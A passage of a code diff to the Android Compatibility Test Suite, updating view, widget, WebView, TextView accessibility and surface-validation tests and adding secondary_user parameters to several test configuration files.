+            true,  // nearest sampling for 90 rotation with integer translate
+            true,  // nearest sampling for 270 rotation with integer translate
+            true,  // nearest sampling for H flip with integer translate
+            true,  // nearest sampling for V flip with integer translate
+            true,  // nearest sampling for 180 rotation with integer translate
+            false, // bilerp sampling for 90 rotation matrix with a fractional offset
         };
         for (int i = 0; i < nearestSampling.length; i++) {
 
@@ -345,8 +360,10 @@
             // "texturePos" has SurfaceTexture position inside the TextureView.
             RectF texturePosF = new RectF(0, 0, viewPos.width(), viewPos.height());
             transform.mapRect(texturePosF);
-            //clip parts outside TextureView
-            texturePosF.intersect(0, 0, viewPos.width(), viewPos.height());
+            // Clip parts outside TextureView.
+            // Matrices are picked, so that the drawing area is not empty.
+            assertTrue("empty test area",
+                    texturePosF.intersect(0, 0, viewPos.width(), viewPos.height()));
             Rect texturePos = new Rect((int) Math.ceil(texturePosF.left),
                     (int) Math.ceil(texturePosF.top), (int) Math.floor(texturePosF.right),
                     (int) Math.floor(texturePosF.bottom));
@@ -367,15 +384,19 @@
                     }
                 }
             } else {
-                // Check there are no black nor white pixels, because bilerp sampling changed
-                // pure black/white to a variety of gray intermediates.
+                // Check that a third of pixels are not black nor white, because bilerp sampling
+                // changed pure black/white to a variety of gray intermediates.
+                int nonBlackWhitePixels = 0;
                 for (int j = 0; j < pixels.length; j++) {
-                    if (pixels[j] == Color.BLACK || pixels[j] == Color.WHITE) {
-                        success = false;
+                    if (pixels[j] != Color.BLACK && pixels[j] != Color.WHITE) {
+                        nonBlackWhitePixels++;
+                    } else {
                         failPosition = j;
-                        break;
                     }
                 }
+                if (nonBlackWhitePixels < pixels.length / 3) {
+                    success = false;
+                }
             }
             assertTrue("Unexpected color at position " + failPosition + " = "
                     + Integer.toHexString(pixels[failPosition]) + " " + transform.toString(),
diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index fe23a9e..355d175 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -16,12 +16,16 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
+import android.graphics.Point;
 import android.util.TypedValue;
+import android.view.Display;
 import android.view.ViewConfiguration;
+import android.view.WindowManager;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
@@ -127,4 +131,21 @@
         final float instanceMultiplier = vc.getAmbiguousGestureMultiplier();
         assertTrue(instanceMultiplier >= 1);
     }
+
+    @Test
+    public void testGetMaximumDrawingCacheSize() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        ViewConfiguration vc = ViewConfiguration.get(context);
+        assertNotNull(vc);
+
+        // Should be at least the size of the screen we're supposed to draw into.
+        final WindowManager win = context.getSystemService(WindowManager.class);
+        final Display display = win.getDefaultDisplay();
+        final Point size = new Point();
+        display.getSize(size);
+        assertTrue(vc.getScaledMaximumDrawingCacheSize() >= size.x * size.y * 4);
+
+        // This deprecated value should just be what it's historically hardcoded to be.
+        assertEquals(480 * 800 * 4, vc.getMaximumDrawingCacheSize());
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index a934986..d6d21a2 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -3923,7 +3923,7 @@
         assertFalse(mockView.isInTouchMode());
         assertFalse(fitWindowsView.isInTouchMode());
 
-        // Mouse events should not trigger touch mode.
+        // Mouse events should not affect touch mode.
         final MotionEvent event =
                 CtsMouseUtil.obtainMouseEvent(MotionEvent.ACTION_SCROLL, mockView, 0, 0);
         mInstrumentation.sendPointerSync(event);
@@ -3933,7 +3933,7 @@
         mInstrumentation.sendPointerSync(event);
         assertFalse(fitWindowsView.isInTouchMode());
 
-        // Stylus events should not trigger touch mode.
+        // Stylus events should not affect touch mode.
         event.setSource(InputDevice.SOURCE_STYLUS);
         mInstrumentation.sendPointerSync(event);
         assertFalse(fitWindowsView.isInTouchMode());
@@ -3941,10 +3941,11 @@
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mockView);
         assertTrue(fitWindowsView.isInTouchMode());
 
+        // Mouse events should not affect touch mode.
         event.setSource(InputDevice.SOURCE_MOUSE);
         event.setAction(MotionEvent.ACTION_DOWN);
         mInstrumentation.sendPointerSync(event);
-        assertFalse(fitWindowsView.isInTouchMode());
+        assertTrue(fitWindowsView.isInTouchMode());
     }
 
     @UiThreadTest
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationSessionIdTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationSessionIdTest.java
new file mode 100644
index 0000000..eef6ccd
--- /dev/null
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationSessionIdTest.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.view.textclassifier.SelectionEvent;
+import android.view.textclassifier.TextClassificationContext;
+import android.view.textclassifier.TextClassificationManager;
+import android.view.textclassifier.TextClassificationSessionId;
+import android.view.textclassifier.TextClassifier;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+
+@SmallTest
+public class TextClassificationSessionIdTest {
+
+    @Test
+    public void flattenToString() {
+        TextClassificationManager textClassificationManager =
+                ApplicationProvider.getApplicationContext().getSystemService(
+                        TextClassificationManager.class);
+        textClassificationManager.setTextClassifier(TextClassifier.NO_OP);
+        TextClassifier textClassifier = textClassificationManager.createTextClassificationSession(
+                new TextClassificationContext.Builder(
+                        "com.pkg",
+                        TextClassifier.WIDGET_TYPE_TEXTVIEW)
+                        .build());
+        SelectionEvent startedEvent =
+                SelectionEvent.createSelectionStartedEvent(
+                        SelectionEvent.INVOCATION_LINK, /* start= */ 10);
+
+        textClassifier.onSelectionEvent(startedEvent);
+        TextClassificationSessionId sessionId = startedEvent.getSessionId();
+
+        assertThat(sessionId).isNotNull();
+        assertThat(sessionId.flattenToString()).isNotEmpty();
+    }
+}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 9c9217b..0af0696 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -200,7 +200,7 @@
 
         final long timeOutMs = mOnEmbedded ? 125000 : 62500;
         final long captureDuration = animationTestCase.hasAnimation() ?
-            getCaptureDurationMs() : 200;
+            getCaptureDurationMs() : 0;
         final long endCaptureDelayMs = START_CAPTURE_DELAY_MS + captureDuration;
         final long endDelayMs = endCaptureDelayMs + 1000;
 
@@ -260,8 +260,10 @@
                     null /*Handler*/);
         }, START_CAPTURE_DELAY_MS);
 
+        final int SINGLE_FRAME_TIMEOUT_MS = 1000;
         mHandler.postDelayed(() -> {
             Log.d(TAG, "Stopping capture");
+            mSurfacePixelValidator.waitForFrame(SINGLE_FRAME_TIMEOUT_MS);
             mVirtualDisplay.release();
             mVirtualDisplay = null;
         }, endCaptureDelayMs);
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java
index 26b43c4..6152dfb 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java
@@ -68,6 +68,7 @@
             boolean success = mPixelChecker.validatePlane(plane, mBoundsToCheck, mWidth, mHeight);
 
             synchronized (mResultLock) {
+                mResultLock.notifyAll();
                 if (success) {
                     mResultSuccessFrames++;
                 } else {
@@ -90,6 +91,18 @@
         }
     };
 
+    void waitForFrame(int timeoutMs) {
+        synchronized (mResultLock) {
+            if (mResultSuccessFrames != 0 || mResultFailureFrames != 0) {
+                return;
+            }
+            try {
+                mResultLock.wait(timeoutMs);
+            } catch (Exception e) {
+            }
+        }
+    }
+
     private static void getPixels(Image image, int[] dest, Rect bounds) {
         Bitmap hwBitmap = Bitmap.wrapHardwareBuffer(image.getHardwareBuffer(), null);
         Bitmap swBitmap = hwBitmap.copy(Bitmap.Config.ARGB_8888, false);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
index 338c361..6c4a3a7 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
@@ -134,7 +134,6 @@
             mActivityControl.finishActivity();
         }
     }
-
     private final class SessionControl {
         private @Nullable RemoteCallback mControl;
 
diff --git a/tests/tests/voicesettings/AndroidTest.xml b/tests/tests/voicesettings/AndroidTest.xml
index 11e749e..5e7e446 100644
--- a/tests/tests/voicesettings/AndroidTest.xml
+++ b/tests/tests/voicesettings/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index ec39a5c..8c3b252 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -902,8 +902,11 @@
         @Override
         public void onPageFinished(WebView view, String url) {
             super.onPageFinished(view, url);
-            assertTrue(mOnPageStartedCalled);
-            assertTrue(mOnLoadResourceCalled);
+            // TODO(ntfschr): propagate these exceptions to the instrumentation thread.
+            assertTrue("Expected onPageStarted to be called before onPageFinished",
+                    mOnPageStartedCalled);
+            assertTrue("Expected onLoadResource to be called before onPageFinished",
+                    mOnLoadResourceCalled);
             mOnPageFinishedCalled = true;
         }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index e134bf5..5e29eea 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1698,7 +1698,7 @@
         final int previousScrollX = mOnUiThread.getScrollX();
         final int previousScrollY = mOnUiThread.getScrollY();
 
-        mOnUiThread.flingScroll(100, 100);
+        mOnUiThread.flingScroll(10000, 10000);
 
         new PollingCheck() {
             @Override
diff --git a/tests/tests/widget/AndroidTest.xml b/tests/tests/widget/AndroidTest.xml
index fd9afe8..8cd40dc 100644
--- a/tests/tests/widget/AndroidTest.xml
+++ b/tests/tests/widget/AndroidTest.xml
@@ -26,5 +26,6 @@
         <option name="package" value="android.widget.cts" />
         <option name="runtime-hint" value="11m55s" />
         <option name="hidden-api-checks" value="false" />
+        <option name="instrumentation-arg" key="thisisignored" value="thisisignored --no-window-animation" />
     </test>
 </configuration>
diff --git a/tests/tests/widget/OWNERS b/tests/tests/widget/OWNERS
new file mode 100644
index 0000000..12f176d
--- /dev/null
+++ b/tests/tests/widget/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 25700
+adamp@google.com
+mount@google.com
+shepshapard@google.com
+clarabayarri@google.com
diff --git a/tests/tests/widget/res/layout/listview_layout.xml b/tests/tests/widget/res/layout/listview_layout.xml
index 3094a89..79669c1 100644
--- a/tests/tests/widget/res/layout/listview_layout.xml
+++ b/tests/tests/widget/res/layout/listview_layout.xml
@@ -16,6 +16,7 @@
 
 <FrameLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/content"
     android:layout_width="match_parent"
     android:layout_height="match_parent">
 
diff --git a/tests/tests/widget/res/layout/widget_attribute_layout.xml b/tests/tests/widget/res/layout/widget_attribute_layout.xml
index 1cc5517..872b0eb 100644
--- a/tests/tests/widget/res/layout/widget_attribute_layout.xml
+++ b/tests/tests/widget/res/layout/widget_attribute_layout.xml
@@ -47,4 +47,11 @@
         android:layout_width="wrap_content"
         android:layout_height="wrap_content"
         style="@style/ExplicitStyle1" />
+
+    <ViewAnimator
+        android:id="@+id/viewAnimator"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:inAnimation="@android:anim/slide_in_left"
+        android:outAnimation="@android:anim/slide_out_right" />
 </LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/values/styles.xml b/tests/tests/widget/res/values/styles.xml
index 11e3128..a3ff68b 100644
--- a/tests/tests/widget/res/values/styles.xml
+++ b/tests/tests/widget/res/values/styles.xml
@@ -369,10 +369,6 @@
         <item name="themeTileMode">2</item>
     </style>
 
-    <style name="Theme_NoSwipeDismiss">
-        <item name="android:windowSwipeToDismiss">false</item>
-    </style>
-
     <style name="PopupEmptyStyle" />
 
     <style name="TabWidgetCustomStyle" parent="android:Widget.TabWidget">
@@ -404,8 +400,6 @@
     </style>
 
     <style name="Theme.PopupWindowCtsActivity" parent="@android:style/Theme.Holo">
-        <!-- Force swipe-to-dismiss to false. -->
-        <item name="android:windowSwipeToDismiss">false</item>
     </style>
 
     <style name="TextView_FontResource">
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index 612b233..0a57c21 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -45,6 +45,7 @@
 import android.content.res.Configuration;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.Insets;
 import android.graphics.Rect;
 import android.graphics.drawable.Drawable;
 import android.text.Editable;
@@ -58,6 +59,7 @@
 import android.view.Menu;
 import android.view.View;
 import android.view.ViewGroup;
+import android.view.WindowInsets;
 import android.widget.AbsListView;
 import android.widget.AbsListView.OnScrollListener;
 import android.widget.AdapterView;
@@ -128,7 +130,7 @@
     private static final float DELTA = 0.001f;
 
     @Before
-    public void setup() throws Exception {
+    public void setup() throws Throwable {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         final Activity activity = mActivityRule.getActivity();
         // Always use the activity context
@@ -146,6 +148,17 @@
                 android.R.layout.simple_list_item_1, COUNTRY_LIST);
 
         mListView = (ListView) activity.findViewById(R.id.listview_default);
+
+        // Full-height drag gestures clash with system navigation gestures (such as
+        // swipe up from the bottom of the screen to go home). Get the system
+        // gesture insets and apply bottom padding on the entire content so
+        // that our own drag gestures are processed within the activity.
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
+            ViewGroup content = activity.findViewById(R.id.content);
+            WindowInsets rootWindowInsets = content.getRootWindowInsets();
+            Insets systemGestureInsets = rootWindowInsets.getSystemGestureInsets();
+            content.setPadding(0, 0, 0, systemGestureInsets.bottom);
+        });
     }
 
     private boolean isWatch() {
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
index a31963c..0264665 100644
--- a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -728,14 +728,15 @@
         WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, () -> {
             mActivity.setContentView(R.layout.magnifier_activity_centered_surfaceview_layout);
         }, false /* forceLayout */);
-        final View view = mActivity.findViewById(R.id.magnifier_centered_view);
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, view, () -> {
+        WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, () -> {
             // Draw something in the SurfaceView for the Magnifier to copy.
+            final View view = mActivity.findViewById(R.id.magnifier_centered_view);
             final SurfaceHolder surfaceHolder = ((SurfaceView) view).getHolder();
             final Canvas canvas = surfaceHolder.lockHardwareCanvas();
             canvas.drawColor(Color.BLUE);
             surfaceHolder.unlockCanvasAndPost(canvas);
-        });
+        }, false /* forceLayout */);
+        final View view = mActivity.findViewById(R.id.magnifier_centered_view);
         final Magnifier.Builder builder = new Magnifier.Builder(view)
                 .setSize(100, 100)
                 .setInitialZoom(5f) /* 20x20 source size */
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
index 2d6804e..2918931 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
@@ -148,10 +148,10 @@
 
         AttributeSet attrs = getAttributeSet(android.widget.cts.R.layout.radiogroup_1);
         TypedArray a = mContext.obtainStyledAttributes(attrs,
-                android.R.styleable.ViewGroup_MarginLayout);
+                android.R.styleable.ViewGroup_Layout);
         layoutParams.setBaseAttributes(a,
-                android.R.styleable.ViewGroup_MarginLayout_layout_width,
-                android.R.styleable.ViewGroup_MarginLayout_layout_height);
+                android.R.styleable.ViewGroup_Layout_layout_width,
+                android.R.styleable.ViewGroup_Layout_layout_height);
         // check the attributes from the layout file
         assertEquals(RadioGroup.LayoutParams.MATCH_PARENT, layoutParams.width);
         assertEquals(RadioGroup.LayoutParams.MATCH_PARENT, layoutParams.height);
diff --git a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
index 7cd082b..50405dc 100644
--- a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
@@ -26,8 +26,11 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
+import android.graphics.Rect;
 import android.os.SystemClock;
 import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowInsets;
 import android.widget.SeekBar;
 
 import androidx.test.InstrumentationRegistry;
@@ -42,6 +45,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.List;
+
 /**
  * Test {@link SeekBar}.
  */
@@ -57,10 +63,37 @@
             new ActivityTestRule<>(SeekBarCtsActivity.class);
 
     @Before
-    public void setup() {
+    public void setup() throws Throwable {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
-        mSeekBar = (SeekBar) mActivity.findViewById(R.id.seekBar);
+        mSeekBar = mActivity.findViewById(R.id.seekBar);
+        if (mSeekBar.isAttachedToWindow()) {
+            updateExclusionRects();
+        } else {
+            mSeekBar.addOnAttachStateChangeListener(new View.OnAttachStateChangeListener() {
+                @Override
+                public void onViewAttachedToWindow(View view) {
+                    mSeekBar.removeOnAttachStateChangeListener(this);
+                    updateExclusionRects();
+                }
+
+                @Override
+                public void onViewDetachedFromWindow(View view) {
+                }
+            });
+        }
+    }
+
+    private void updateExclusionRects() {
+        // "Mark" the left edge of our seek bar to be excluded from system gestures.
+        // This does not need to be RTL-aware since the logic in the change listener
+        // always injects the events from left to right.
+        WindowInsets rootWindowInsets = mSeekBar.getRootWindowInsets();
+        List<Rect> exclusion = new ArrayList<>();
+        exclusion.add(new Rect(0, 0,
+                rootWindowInsets.getSystemGestureInsets().left,
+                mSeekBar.getHeight()));
+        mSeekBar.setSystemGestureExclusionRects(exclusion);
     }
 
     @Test
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 01d5cd8..86e674e 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -169,6 +169,7 @@
 import java.io.IOException;
 import java.lang.annotation.Retention;
 import java.util.Arrays;
+import java.util.List;
 import java.util.Locale;
 
 /**
@@ -7149,6 +7150,106 @@
                 TextUtils.equals(hintText, info.getHintText()));
     }
 
+    @UiThreadTest
+    @Test
+    public void testOnInitializeA11yNodeInfo_removesClickabilityWithLinkMovementMethod() {
+        mTextView = findTextView(R.id.textview_text);
+        mTextView.setMovementMethod(new LinkMovementMethod());
+
+        assertTrue("clickable should be true", mTextView.isClickable());
+        assertFalse("View should not have onClickListeners", mTextView.hasOnClickListeners());
+        assertTrue("longClickable should be true", mTextView.isLongClickable());
+        assertFalse("View should not have onLongClickListeners",
+                mTextView.hasOnLongClickListeners());
+
+        final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+        mTextView.onInitializeAccessibilityNodeInfo(info);
+        List<AccessibilityNodeInfo.AccessibilityAction> actionList = info.getActionList();
+        assertFalse("info's isClickable should be false", info.isClickable());
+        assertFalse("info should not have ACTION_CLICK",
+                actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_CLICK));
+        assertFalse("info's isLongClickable should be false",
+                info.isLongClickable());
+        assertFalse("info should not have ACTION_LONG_CLICK",
+                actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_LONG_CLICK));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testOnInitializeA11yNodeInfo_keepsClickabilityWithMovementMethod() {
+        mTextView = findTextView(R.id.textview_text);
+        mTextView.setMovementMethod(new ArrowKeyMovementMethod());
+
+        assertTrue("clickable should be true", mTextView.isClickable());
+        assertFalse("View should not have onClickListeners", mTextView.hasOnClickListeners());
+        assertTrue("longClickable should be false", mTextView.isLongClickable());
+        assertFalse("View should not have onLongClickListeners",
+                mTextView.hasOnLongClickListeners());
+
+        final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+        mTextView.onInitializeAccessibilityNodeInfo(info);
+        List<AccessibilityNodeInfo.AccessibilityAction> actionList = info.getActionList();
+        assertTrue("info's isClickable should be true", info.isClickable());
+        assertTrue("info should have ACTION_CLICK",
+                actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_CLICK));
+        assertTrue("info's isLongClickable should be true",
+                info.isLongClickable());
+        assertTrue("info should have ACTION_LONG_CLICK",
+                actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_LONG_CLICK));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testOnInitializeA11yNodeInfo_keepsClickabilityWithOnClickListener() {
+        mTextView = findTextView(R.id.textview_text);
+        mTextView.setMovementMethod(new LinkMovementMethod());
+
+        assertTrue("clickable should be true", mTextView.isClickable());
+        assertFalse("View should not have onClickListeners", mTextView.hasOnClickListeners());
+        assertTrue("longClickable should be true", mTextView.isLongClickable());
+        assertFalse("View should not have onLongClickListeners",
+                mTextView.hasOnLongClickListeners());
+
+        mTextView.setOnClickListener(mock(View.OnClickListener.class));
+
+        final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+        mTextView.onInitializeAccessibilityNodeInfo(info);
+        List<AccessibilityNodeInfo.AccessibilityAction> actionList = info.getActionList();
+        assertTrue("info's isClickable should be true", info.isClickable());
+        assertTrue("info should have ACTION_CLICK",
+                actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_CLICK));
+        assertFalse("info's isLongClickable should not be true",
+                info.isLongClickable());
+        assertFalse("info should have ACTION_LONG_CLICK",
+                actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_LONG_CLICK));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testOnInitializeA11yNodeInfo_keepsLongClickabilityWithOnLongClickListener() {
+        mTextView = findTextView(R.id.textview_text);
+        mTextView.setMovementMethod(new LinkMovementMethod());
+
+        assertTrue("clickable should be true", mTextView.isClickable());
+        assertFalse("View should not have onClickListeners", mTextView.hasOnClickListeners());
+        assertTrue("longClickable should be true", mTextView.isLongClickable());
+        assertFalse("View should not have onLongClickListeners",
+                mTextView.hasOnLongClickListeners());
+
+        mTextView.setOnLongClickListener(mock(View.OnLongClickListener.class));
+
+        final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+        mTextView.onInitializeAccessibilityNodeInfo(info);
+        List<AccessibilityNodeInfo.AccessibilityAction> actionList = info.getActionList();
+        assertFalse("info's isClickable should be false", info.isClickable());
+        assertFalse("info should not have ACTION_CLICK",
+                actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_CLICK));
+        assertTrue("info's isLongClickable should be true",
+                info.isLongClickable());
+        assertTrue("info should have ACTION_LONG_CLICK",
+                actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_LONG_CLICK));
+    }
+
     @Test
     public void testAutosizeWithMaxLines_shouldNotThrowException() throws Throwable {
         // the layout contains an instance of CustomTextViewWithTransformationMethod
diff --git a/tests/tests/widget/src/android/widget/cts/WidgetAttributeTest.kt b/tests/tests/widget/src/android/widget/cts/WidgetAttributeTest.kt
index 5b41755..2296ae2 100644
--- a/tests/tests/widget/src/android/widget/cts/WidgetAttributeTest.kt
+++ b/tests/tests/widget/src/android/widget/cts/WidgetAttributeTest.kt
@@ -17,10 +17,6 @@
 package android.widget.cts
 
 import android.app.Activity
-import androidx.test.InstrumentationRegistry
-import androidx.test.filters.MediumTest
-import androidx.test.rule.ActivityTestRule
-import androidx.test.runner.AndroidJUnit4
 import android.support.test.uiautomator.UiDevice
 import android.view.LayoutInflater
 import android.widget.LinearLayout
@@ -28,6 +24,11 @@
 import android.widget.Switch
 import android.widget.TextView
 import android.widget.Toolbar
+import android.widget.ViewAnimator
+import androidx.test.InstrumentationRegistry
+import androidx.test.filters.MediumTest
+import androidx.test.rule.ActivityTestRule
+import androidx.test.runner.AndroidJUnit4
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Before
@@ -113,14 +114,12 @@
         assertEquals(R.style.ExplicitStyle1, stackTextView1textSize[1])
         assertEquals(R.style.ParentOfExplicitStyle1, stackTextView1textSize[2])
         assertEquals(R.style.TextViewWithoutColorAndAppearance, stackTextView1textSize[3])
-        val stackTextView1textColorHighlight =
-                textview1.getAttributeResolutionStack(android.R.attr.textColorHighlight)
-        assertEquals(5, stackTextView1textColorHighlight.size.toLong())
-        assertEquals(R.layout.widget_attribute_layout, stackTextView1textColorHighlight[0])
-        assertEquals(R.style.ExplicitStyle1, stackTextView1textColorHighlight[1])
-        assertEquals(R.style.ParentOfExplicitStyle1, stackTextView1textColorHighlight[2])
-        assertEquals(android.R.style.Widget_Material_TextView, stackTextView1textColorHighlight[3])
-        assertEquals(android.R.style.Widget_TextView, stackTextView1textColorHighlight[4])
+
+        val viewAnimator = rootView.findViewById<ViewAnimator>(R.id.viewAnimator)
+        val viewAnimatorOutAnimation =
+                viewAnimator.getAttributeResolutionStack(android.R.attr.outAnimation)
+        assertEquals(1, viewAnimatorOutAnimation.size.toLong())
+        assertEquals(R.layout.widget_attribute_layout, viewAnimatorOutAnimation[0])
     }
 
     @Test
diff --git a/tests/tests/wrap/nowrap/AndroidTest.xml b/tests/tests/wrap/nowrap/AndroidTest.xml
index 4fa089e..40baa14 100644
--- a/tests/tests/wrap/nowrap/AndroidTest.xml
+++ b/tests/tests/wrap/nowrap/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapNoWrapTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
index f1f42a1..ebba361 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapWrapDebugMallocDebugTestCases.apk" />
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 47f5d52..18a59ab 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -20,6 +20,7 @@
     <!-- Instant apps for TV is not supported. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
